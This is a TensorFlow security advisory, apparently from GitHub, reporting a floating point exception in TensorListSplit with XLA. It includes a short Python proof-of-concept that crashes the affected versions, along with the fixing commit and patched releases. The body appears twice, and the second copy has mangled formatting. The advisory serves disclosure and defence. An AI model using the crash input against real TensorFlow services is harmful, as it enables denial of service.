Headline
GHSA-647v-r7qq-24fh: TensorFlow has Floating Point Exception in TensorListSplit with XLA
Impact
FPE in TensorListSplit with XLA
import tensorflow as tf
func = tf.raw_ops.TensorListSplit
para = {'tensor': [1], 'element_shape': -1, 'lengths': [0]}
@tf.function(jit_compile=True)
def fuzz_jit():
y = func(**para)
return y
print(fuzz_jit())
Patches
We have patched the issue in GitHub commit 728113a3be690facad6ce436660a0bc1858017fa.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by r3pwnx
Impact
FPE in TensorListSplit with XLA
import tensorflow as tf
func = tf.raw_ops.TensorListSplit para = {’tensor’: [1], 'element_shape’: -1, 'lengths’: [0]}
@tf.function(jit_compile=True) def fuzz_jit(): y = func(**para) return y
print(fuzz_jit())
Patches
We have patched the issue in GitHub commit 728113a3be690facad6ce436660a0bc1858017fa.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by r3pwnx
References
- GHSA-647v-r7qq-24fh
- tensorflow/tensorflow@728113a
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TensorFlow is an open source platform for machine learning. Versions prior to 2.12.0 and 2.11.1 have a Floating Point Exception in TensorListSplit with XLA. A fix is included in TensorFlow version 2.12.0 and version 2.11.1.